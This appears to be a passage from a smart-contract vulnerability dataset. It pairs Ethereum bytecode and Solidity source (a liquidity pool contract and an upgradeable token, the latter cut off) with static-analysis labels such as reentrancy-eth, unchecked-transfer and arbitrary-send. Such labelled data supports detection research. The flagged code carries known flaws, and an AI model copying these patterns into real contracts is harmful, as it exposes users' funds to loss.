e3565b92915050565b6000613017613028565b90506130238282613262565b919050565b6000604051905090565b600067ffffffffffffffff82111561304d5761304c613369565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130be82613206565b91506130c983613206565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130fe576130fd6132dc565b5b828201905092915050565b600061311482613206565b915061311f83613206565b92508261312f5761312e61330b565b5b828204905092915050565b600061314582613206565b915061315083613206565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613189576131886132dc565b5b828202905092915050565b600061319f82613206565b91506131aa83613206565b9250828210156131bd576131bc6132dc565b5b828203905092915050565b60006131d3826131e6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061322882613206565b9050919050565b60005b8381101561324d578082015181840152602081019050613232565b8381111561325c576000848401525b50505050565b61326b826133ac565b810181811067ffffffffffffffff8211171561328a57613289613369565b5b80604052505050565b600061329e82613206565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132d1576132d06132dc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136bc816131c8565b81146136c757600080fd5b50565b6136d3816131da565b81146136de57600080fd5b50565b6136ea81613206565b81146136f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b3cd3c9f71062c548eeee9b442a1f2cacb6e13cfed74abe154f0a723ef55b4e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,324
0x043d032c3fa1b0afd0238f09b9681c959f3a42a2
// SPDX-License-Identifier: MIT /** * @title Liquidity Contract * @author: Muhammad Zaryab Khan * Developed By: BLOCK360 * Date: Septemeber 17, 2020 * Version: 1.0.0 */ pragma solidity 0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface TokenInterface { function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface DexInterface { function collectedFee(string calldata currency) external view returns (uint256); } contract Liquidity is Ownable { using SafeMath for uint256; string public version = "1.0.0"; address public DEX; string[] public allLiquidities; mapping(string => address) public contractAddress; event DEXUpdated(address oldDEX, address newDEX); event TokenUpdated(string symbol, address newContract); event PaymentReceived(address from, uint256 amount); event LiquidityWithdraw( string symbol, address indexed to, uint256 amount, uint256 timestamp ); event LiquidityTransfer( string symbol, address indexed to, uint256 amount, uint256 timestamp ); /** * @dev Throws if called by any account other than the DEX. */ modifier onlyDEX() { require(DEX == _msgSender(), "Liquidity: caller is not DEX"); _; } constructor( address owner, address gsu, address usdt ) public { require(owner != address(0x0), "[Liquidity], owner is zero address"); require(gsu != address(0x0), "[Liquidity], gsu is zero address"); require(usdt != address(0x0), "[Liquidity], usdt is zero address"); allLiquidities.push("ETH"); newLiquidity(gsu); newLiquidity(usdt); transferOwnership(owner); } fallback() external payable { emit PaymentReceived(_msgSender(), msg.value); } receive() external payable { emit PaymentReceived(_msgSender(), msg.value); } function withdraw(string calldata symbol, uint256 amount) external onlyOwner { require(amount > 0, "[Liquidity] amount is zero"); require( balanceOf(symbol).sub(amount) >= DexInterface(DEX).collectedFee(symbol), "[Liquidity] amount exceeds available funds" ); if (isERC20Token(symbol)) TokenInterface(contractAddress[symbol]).transfer(owner(), amount); else address(uint160(owner())).transfer(amount); emit LiquidityWithdraw(symbol, owner(), amount, block.timestamp); } function transfer( string calldata symbol, address payable recipient, uint256 amount ) external onlyDEX returns (bool) { if (isERC20Token(symbol)) TokenInterface(contractAddress[symbol]).transfer(recipient, amount); else recipient.transfer(amount); emit LiquidityTransfer(symbol, recipient, amount, block.timestamp); return true; } function balanceOf(string memory symbol) public view returns (uint256) { if (isERC20Token(symbol)) return TokenInterface(contractAddress[symbol]).balanceOf( address(this) ); else return address(this).balance; } function isERC20Token(string memory symbol) public view returns (bool) { return contractAddress[symbol] != address(0x0); } function setDex(address newDEX) external onlyOwner returns (bool) { emit DEXUpdated(DEX, newDEX); DEX = newDEX; return true; } function newLiquidity(address _contract) private onlyOwner returns (bool) { string memory symbol = TokenInterface(_contract).symbol(); allLiquidities.push(symbol); contractAddress[symbol] = _contract; return true; } function setTokenContract(string calldata symbol, address newContract) external onlyOwner returns (bool) { require(isERC20Token(symbol)); contractAddress[symbol] = newContract; emit TokenUpdated(symbol, newContract); return true; } function totalLiquidities() external view returns (uint256) { return allLiquidities.length; } function destroy() external onlyOwner { // index 0 is ethereum for (uint8 a = 1; a < allLiquidities.length; a++) { string memory currency = allLiquidities[a]; TokenInterface(contractAddress[currency]).transfer( owner(), balanceOf(currency) ); } selfdestruct(payable(owner())); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063aa2fddc711610059578063aa2fddc7146105cc578063e44628fb14610656578063f2fde38b1461066b578063fbf9bd181461069e5761013c565b8063715018a61461057857806380935aa91461058d57806383197ef0146105a25780638da5cb5b146105b75761013c565b806330b39a62116100c657806330b39a621461037b57806335ee5f87146103f8578063447fa8b7146104bb57806354fd4d50146104ee5761013c565b80631c2d2c1c146101655780631eb726af1461022a5780632f1459b2146102f75761013c565b3661013c577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77061011a6106c8565b604080516001600160a01b0390921682523460208301528051918290030190a1005b7f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77061011a6106c8565b34801561017157600080fd5b506102166004803603602081101561018857600080fd5b810190602081018135600160201b8111156101a257600080fd5b8201836020820111156101b457600080fd5b803590602001918460018302840111600160201b831117156101d557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506106cc945050505050565b604080519115158252519081900360200190f35b34801561023657600080fd5b506102db6004803603602081101561024d57600080fd5b810190602081018135600160201b81111561026757600080fd5b82018360208201111561027957600080fd5b803590602001918460018302840111600160201b8311171561029a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061074e945050505050565b604080516001600160a01b039092168252519081900360200190f35b34801561030357600080fd5b506102166004803603604081101561031a57600080fd5b810190602081018135600160201b81111561033457600080fd5b82018360208201111561034657600080fd5b803590602001918460018302840111600160201b8311171561036757600080fd5b9193509150356001600160a01b0316610774565b34801561038757600080fd5b506103f66004803603604081101561039e57600080fd5b810190602081018135600160201b8111156103b857600080fd5b8201836020820111156103ca57600080fd5b803590602001918460018302840111600160201b831117156103eb57600080fd5b9193509150356108c9565b005b34801561040457600080fd5b506104a96004803603602081101561041b57600080fd5b810190602081018135600160201b81111561043557600080fd5b82018360208201111561044757600080fd5b803590602001918460018302840111600160201b8311171561046857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610c6f945050505050565b60408051918252519081900360200190f35b3480156104c757600080fd5b50610216600480360360208110156104de57600080fd5b50356001600160a01b0316610d59565b3480156104fa57600080fd5b50610503610e20565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561053d578181015183820152602001610525565b50505050905090810190601f16801561056a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058457600080fd5b506103f6610ead565b34801561059957600080fd5b506102db610f4f565b3480156105ae57600080fd5b506103f6610f5e565b3480156105c357600080fd5b506102db611186565b3480156105d857600080fd5b50610216600480360360608110156105ef57600080fd5b810190602081018135600160201b81111561060957600080fd5b82018360208201111561061b57600080fd5b803590602001918460018302840111600160201b8311171561063c57600080fd5b91935091506001600160a01b038135169060200135611195565b34801561066257600080fd5b506104a96113a7565b34801561067757600080fd5b506103f66004803603602081101561068e57600080fd5b50356001600160a01b03166113ad565b3480156106aa57600080fd5b50610503600480360360208110156106c157600080fd5b50356114a5565b3390565b6000806001600160a01b03166004836040518082805190602001908083835b6020831061070a5780518252601f1990920191602091820191016106eb565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220546001600160a01b03169290921415925050505b919050565b80516020818301810180516004825292820191909301209152546001600160a01b031681565b600061077e6106c8565b6000546001600160a01b039081169116146107ce576040805162461bcd60e51b8152602060048201819052602482015260008051602061161f833981519152604482015290519081900360640190fd5b61080d84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506106cc92505050565b61081657600080fd5b816004858560405180838380828437919091019485525050604080516020948190038501812080546001600160a01b0319166001600160a01b0397881617905594871693850193909352505080825281018490527fab9b2a4b5369b2ede85df0177e1308b7a6e3575b7b9965d79f3a32f97510e597908590859085908060608101858580828437600083820152604051601f909101601f1916909201829003965090945050505050a15060019392505050565b6108d16106c8565b6000546001600160a01b03908116911614610921576040805162461bcd60e51b8152602060048201819052602482015260008051602061161f833981519152604482015290519081900360640190fd5b60008111610976576040805162461bcd60e51b815260206004820152601a60248201527f5b4c69717569646974795d20616d6f756e74206973207a65726f000000000000604482015290519081900360640190fd5b600254604051638b92493560e01b8152602060048201908152602482018590526001600160a01b0390921691638b92493591869186918190604401848480828437600083820152604051601f909101601f191690920195506020945090925050508083038186803b1580156109ea57600080fd5b505afa1580156109fe573d6000803e3d6000fd5b505050506040513d6020811015610a1457600080fd5b5051604080516020601f8601819004810282018101909252848152610a65918491610a59918890889081908401838280828437600092019190915250610c6f92505050565b9063ffffffff61151816565b1015610aa25760405162461bcd60e51b815260040180806020018281038252602a81526020018061163f602a913960400191505060405180910390fd5b610ae183838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506106cc92505050565b15610ba757600483836040518083838082843791909101948552505060405192839003602001909220546001600160a01b0316915063a9059cbb9050610b25611186565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b7557600080fd5b505af1158015610b89573d6000803e3d6000fd5b505050506040513d6020811015610b9f57600080fd5b50610be99050565b610baf611186565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610be7573d6000803e3d6000fd5b505b610bf1611186565b6001600160a01b03167f024830739e3fd193e9dfb7b9fd566f50193152fbe0a90da07cc59d1c2e6b8baf8484844260405180806020018481526020018381526020018281038252868682818152602001925080828437600083820152604051601f909101601f191690920182900397509095505050505050a2505050565b6000610c7a826106cc565b15610d52576004826040518082805190602001908083835b60208310610cb15780518252601f199092019160209182019101610c92565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382018520546370a0823160e01b865230600487015290516001600160a01b03909116946370a0823194506024808201945090829003018186803b158015610d1f57600080fd5b505afa158015610d33573d6000803e3d6000fd5b505050506040513d6020811015610d4957600080fd5b50519050610749565b5047610749565b6000610d636106c8565b6000546001600160a01b03908116911614610db3576040805162461bcd60e51b8152602060048201819052602482015260008051602061161f833981519152604482015290519081900360640190fd5b600254604080516001600160a01b039283168152918416602083015280517ff72a6350ff1ab11a1bdb9ed5ef355dfe43b57a270fcb36831b85e48c3633bc0f9281900390910190a150600280546001600160a01b0383166001600160a01b03199091161790556001919050565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ea55780601f10610e7a57610100808354040283529160200191610ea5565b820191906000526020600020905b815481529060010190602001808311610e8857829003601f168201915b505050505081565b610eb56106c8565b6000546001600160a01b03908116911614610f05576040805162461bcd60e51b8152602060048201819052602482015260008051602061161f833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002546001600160a01b031681565b610f666106c8565b6000546001600160a01b03908116911614610fb6576040805162461bcd60e51b8152602060048201819052602482015260008051602061161f833981519152604482015290519081900360640190fd5b60015b60035460ff8216101561117257606060038260ff1681548110610fd857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156110665780601f1061103b57610100808354040283529160200191611066565b820191906000526020600020905b81548152906001019060200180831161104957829003601f168201915b505050505090506004816040518082805190602001908083835b6020831061109f5780518252601f199092019160209182019101611080565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220546001600160a01b0316915063a9059cbb90506110e5611186565b6110ee84610c6f565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561113d57600080fd5b505af1158015611151573d6000803e3d6000fd5b505050506040513d602081101561116757600080fd5b505050600101610fb9565b5061117b611186565b6001600160a01b0316ff5b6000546001600160a01b031690565b600061119f6106c8565b6002546001600160a01b03908116911614611201576040805162461bcd60e51b815260206004820152601c60248201527f4c69717569646974793a2063616c6c6572206973206e6f742044455800000000604482015290519081900360640190fd5b61124085858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506106cc92505050565b156112ea57600485856040518083838082843791909101948552505060408051602094819003850181205463a9059cbb60e01b82526001600160a01b03898116600484015260248301899052925192169463a9059cbb9450604480830194509092918290030181600087803b1580156112b857600080fd5b505af11580156112cc573d6000803e3d6000fd5b505050506040513d60208110156112e257600080fd5b506113229050565b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015611320573d6000803e3d6000fd5b505b826001600160a01b03167f5098fe5a12486df1783f6b94d181aada87c25647823c94c4204d23db8b9f7f538686854260405180806020018481526020018381526020018281038252868682818152602001925080828437600083820152604051601f909101601f191690920182900397509095505050505050a2506001949350505050565b60035490565b6113b56106c8565b6000546001600160a01b03908116911614611405576040805162461bcd60e51b8152602060048201819052602482015260008051602061161f833981519152604482015290519081900360640190fd5b6001600160a01b03811661144a5760405162461bcd60e51b81526004018080602001828103825260268152602001806115f96026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600381815481106114b257fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815293509091830182828015610ea55780601f10610e7a57610100808354040283529160200191610ea5565b600061155a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611561565b9392505050565b600081848411156115f05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115b557818101518382015260200161159d565b50505050905090810190601f1680156115e25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725b4c69717569646974795d20616d6f756e74206578636565647320617661696c61626c652066756e6473a2646970667358221220064a9953d8817b2751faaf7ef5937dd5c624b28ab0940257cdbd83d836c9accc64736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,325
0x7725b8e47d65d2e1b01d088d0b55db7c2f2a2688
pragma solidity ^0.4.11; /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /** * * Fix for the ERC20 short address attack * * http://vessenes.com/the-erc20-short-address-attack-explained/ */ modifier onlyPayloadSize(uint size) { if(msg.data.length != size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because safeSub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } /** * Atomic increment of approved spending * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function addApproval(address _spender, uint _addedValue) onlyPayloadSize(2 * 32) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function subApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2 * 32) returns (bool success) { uint oldVal = allowed[msg.sender][_spender]; if (_subtractedValue > oldVal) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { address public constant BURN_ADDRESS = 0; /** How many tokens we burned */ event Burned(address burner, uint burnedAmount); /** * Burn extra tokens from a balance. * */ function burn(uint burnAmount) { address burner = msg.sender; balances[burner] = safeSub(balances[burner], burnAmount); totalSupply = safeSub(totalSupply, burnAmount); Burned(burner, burnAmount); } } /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don&#39;t have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } contract BCOToken is BurnableToken, UpgradeableToken { string public name; string public symbol; uint public decimals; address public owner; bool public mintingFinished = false; mapping(address => uint) public previligedBalances; /** List of agents that are allowed to create new tokens */ mapping(address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); modifier onlyOwner() { if(msg.sender != owner) throw; _; } modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) throw; _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function BCOToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals) UpgradeableToken(_owner) { name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; // Allocate initial balance to the owner balances[_owner] = _totalSupply; // save the owner owner = _owner; } // privileged transfer function transferPrivileged(address _to, uint _value) onlyPayloadSize(2 * 32) onlyOwner returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); previligedBalances[_to] = safeAdd(previligedBalances[_to], _value); Transfer(msg.sender, 